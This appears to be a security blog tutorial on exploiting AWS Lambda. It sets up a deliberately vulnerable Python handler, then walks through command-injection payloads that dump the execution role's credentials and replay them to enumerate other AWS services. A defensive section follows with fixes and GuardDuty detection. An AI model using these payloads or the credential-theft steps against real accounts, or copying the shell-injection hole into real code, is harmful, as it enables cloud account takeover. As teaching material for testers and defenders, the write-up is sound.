Introduction / Overview
Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against AWS accounts and functions you own or have explicit written permission to assess. Unauthorized access to AWS infrastructure violates the Computer Fraud and Abuse Act, the AWS Acceptable Use Policy, and equivalent laws worldwide.
AWS Lambda removes the server, but it does not remove the attack surface. The shared-responsibility line just moves: AWS patches the host, you own the code, the execution role, the environment variables, and the way your handler trusts its event payload. In serverless engagements I keep finding the same chain — an attacker-controlled event is parsed unsafely, this gives RCE inside the sandbox, and from there the function's IAM credentials are exfiltrated and pivoted across the account.
This post walks that chain end to end, then gives the blue team an equal-weight playbook to break it.
How it works / Background
A Lambda execution environment is a microVM (Firecracker) that runs your handler. Three security-relevant facts drive most attacks:
- Credentials live in environment variables. The execution role's temporary credentials are injected as
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY, andAWS_SESSION_TOKEN. Any code execution inside the sandbox can readprocess.env/os.environand instantly assume that role's permissions. - The event is untrusted input. API Gateway, SQS, S3, SNS, and direct
Invokecalls all deliver a JSONevent. If the handler passes event fields intoeval,child_process,subprocess,os.system, a SQL query, or a deserializer, you have classic injection — just in a serverless wrapper. - The writable filesystem is
/tmp. Everything else is read-only, but/tmp(512 MB–10 GB) survives across warm invocations, which makes it a staging ground for dropped tooling and a place where secrets can persist between requests.
The most damaging finding is rarely the RCE itself — it is the over-privileged execution role behind it. A function that only needs s3:GetObject but ships with AdministratorAccess turns one injection bug into full account compromise.
Prerequisites / Lab setup
You need an AWS account you control, the AWS CLI v2, and an IAM role for the function. Build a deliberately vulnerable Python function so you can practice safely.
# handler.py — VULNERABLE BY DESIGN, lab only
import os, subprocess, json
def handler(event, context):
host = event.get("host", "127.0.0.1")
# Unsafe: event field flows straight into a shell
out = subprocess.check_output(
f"ping -c 1 {host}", shell=True, stderr=subprocess.STDOUT
)
return {"statusCode": 200, "body": out.decode()}PythonDeploy it with an intentionally broad role so you can observe blast radius:
zip function.zip handler.py
aws lambda create-function \
--function-name vuln-pinger \
--runtime python3.12 \
--handler handler.handler \
--zip-file fileb://function.zip \
--role arn:aws:iam::111122223333:role/lab-lambda-overbroad \
--timeout 15BashWalkthrough / PoC
Step 1 — Confirm event injection
The host field is concatenated into a shell command. Inject a command separator and read the environment, which contains the credentials:
aws lambda invoke \
--function-name vuln-pinger \
--payload '{"host":"127.0.0.1; env"}' \
--cli-binary-format raw-in-base64-out \
out.json
cat out.jsonBashThe response body now includes the function's environment, including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. That is event injection converted to credential disclosure in a single call. If this were an API Gateway-backed function, the same payload would arrive through an HTTP request body or query string instead of a direct Invoke.
Step 2 — Escalate to interactive RCE
Inside the sandbox you can stage tooling in /tmp, the only writable path:
aws lambda invoke \
--function-name vuln-pinger \
--payload '{"host":"x; id; uname -a; cat /proc/1/cgroup"}' \
--cli-binary-format raw-in-base64-out \
rce.json && cat rce.jsonBashid confirms execution as the sandbox user; cat /proc/1/cgroup fingerprints the Lambda runtime. From here an attacker typically curls a reverse-shell helper into /tmp, marks it executable, and runs it.
Step 3 — Steal and reuse the execution role
The cleanest pivot is to exfiltrate the three credential variables and replay them from your own machine. The session token is mandatory because these are STS short-term credentials:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity # who am I now?
aws iam list-attached-role-policies --role-name lab-lambda-overbroadBashget-caller-identity returns the assumed-role ARN. Now enumerate what that role can do. This is where over-privileged execution roles bite: if the role carries s3:*, dynamodb:*, or iam:*, the injection has become lateral movement.
aws s3 ls # any buckets the role can reach
aws dynamodb list-tables
aws lambda list-functions # find the next target to poisonBashStep 4 — Persistence (optional, with permission)
If the role allows lambda:UpdateFunctionCode or lambda:CreateFunction, an attacker can backdoor other functions or attach a malicious layer that re-exfiltrates credentials on every cold start. Detecting this is exactly why the defensive section below matters.
Attack flow diagram

The diagram shows how a single untrusted event becomes account-wide compromise only when the handler trusts input and the execution role is over-scoped — break either link and the chain fails.
Detection & Defense (Blue Team)
Mitigation is layered. No single control is sufficient.
1. Treat every event field as hostile. Validate and allow-list inputs; never pass them to shell=True, eval, child_process.exec, or string-built SQL. For the lab function, the fix is to drop the shell entirely:
# Safe: no shell, argument list, validated input
import subprocess, ipaddress
def handler(event, context):
host = event.get("host", "127.0.0.1")
ipaddress.ip_address(host) # raises on non-IP input
out = subprocess.check_output(["ping", "-c", "1", host])
return {"statusCode": 200, "body": out.decode()}Python2. Least-privilege execution roles. Scope each function's role to the exact API actions and resource ARNs it needs. Audit with IAM Access Analyzer, which generates a tightened policy from CloudTrail history:
aws accessanalyzer start-policy-generation \
--policy-generation-details '{"principalArn":"arn:aws:iam::111122223333:role/lab-lambda-overbroad"}' \
--cloud-trail-details file://trail.jsonBash3. Stop storing secrets in environment variables. Lambda env vars are visible to anyone with lambda:GetFunctionConfiguration and to any in-process RCE. Move secrets to AWS Secrets Manager or SSM Parameter Store and fetch them at runtime, and enable env-var encryption with a customer-managed KMS key. The role's own STS credentials cannot be removed, which is exactly why control #2 caps their value.
4. Detect the credential-replay pivot. Stolen Lambda credentials used outside Lambda are a high-fidelity signal. In GuardDuty, the finding type UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS fires when a role's session token is used from an IP outside AWS. Alert on it. Reinforce with a CloudTrail metric filter for assumed-role calls from unexpected source IPs.
5. Runtime and supply-chain hardening. Pin and scan dependencies (a malicious package gets the same env access as your handler), enable AWS Lambda code signing to block unsigned layers, and turn on CloudWatch Lambda Insights to baseline normal process behavior. Map these defenses to MITRE ATT&CK: T1552.007 (Unsecured Credentials: Container API / cloud instance metadata) and T1078.004 (Valid Accounts: Cloud Accounts).
For broader context on abusing cloud identities and metadata services, see my notes on attacking the EC2 metadata service and enumerating IAM with least-privilege bypasses. The input-validation principle here mirrors what I covered in command injection fundamentals.
Conclusion
Serverless does not eliminate classic bugs — it relocates them. Event injection plus an over-privileged execution role is the serverless equivalent of SQLi-to-shell, and the credentials sitting in environment variables make the pivot frictionless. The defense is unglamorous and effective: validate every event, scope every role to the minimum, keep real secrets out of env vars, and alert when a role's credentials are replayed from outside AWS. Fix the two load-bearing links — input trust and role scope — and the whole chain collapses.
References
- MITRE ATT&CK — T1552.007 Unsecured Credentials: https://attack.mitre.org/techniques/T1552/007/
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
- AWS — Lambda execution role: https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html
- AWS — Using environment variables with Lambda: https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html
- AWS — GuardDuty finding types: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html
- AWS — IAM Access Analyzer policy generation: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-policy-generation.html
- HackTricks Cloud — AWS Lambda enumeration and abuse: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-lambda-enum
- OWASP Serverless Top 10: https://owasp.org/www-project-serverless-top-10/



Comments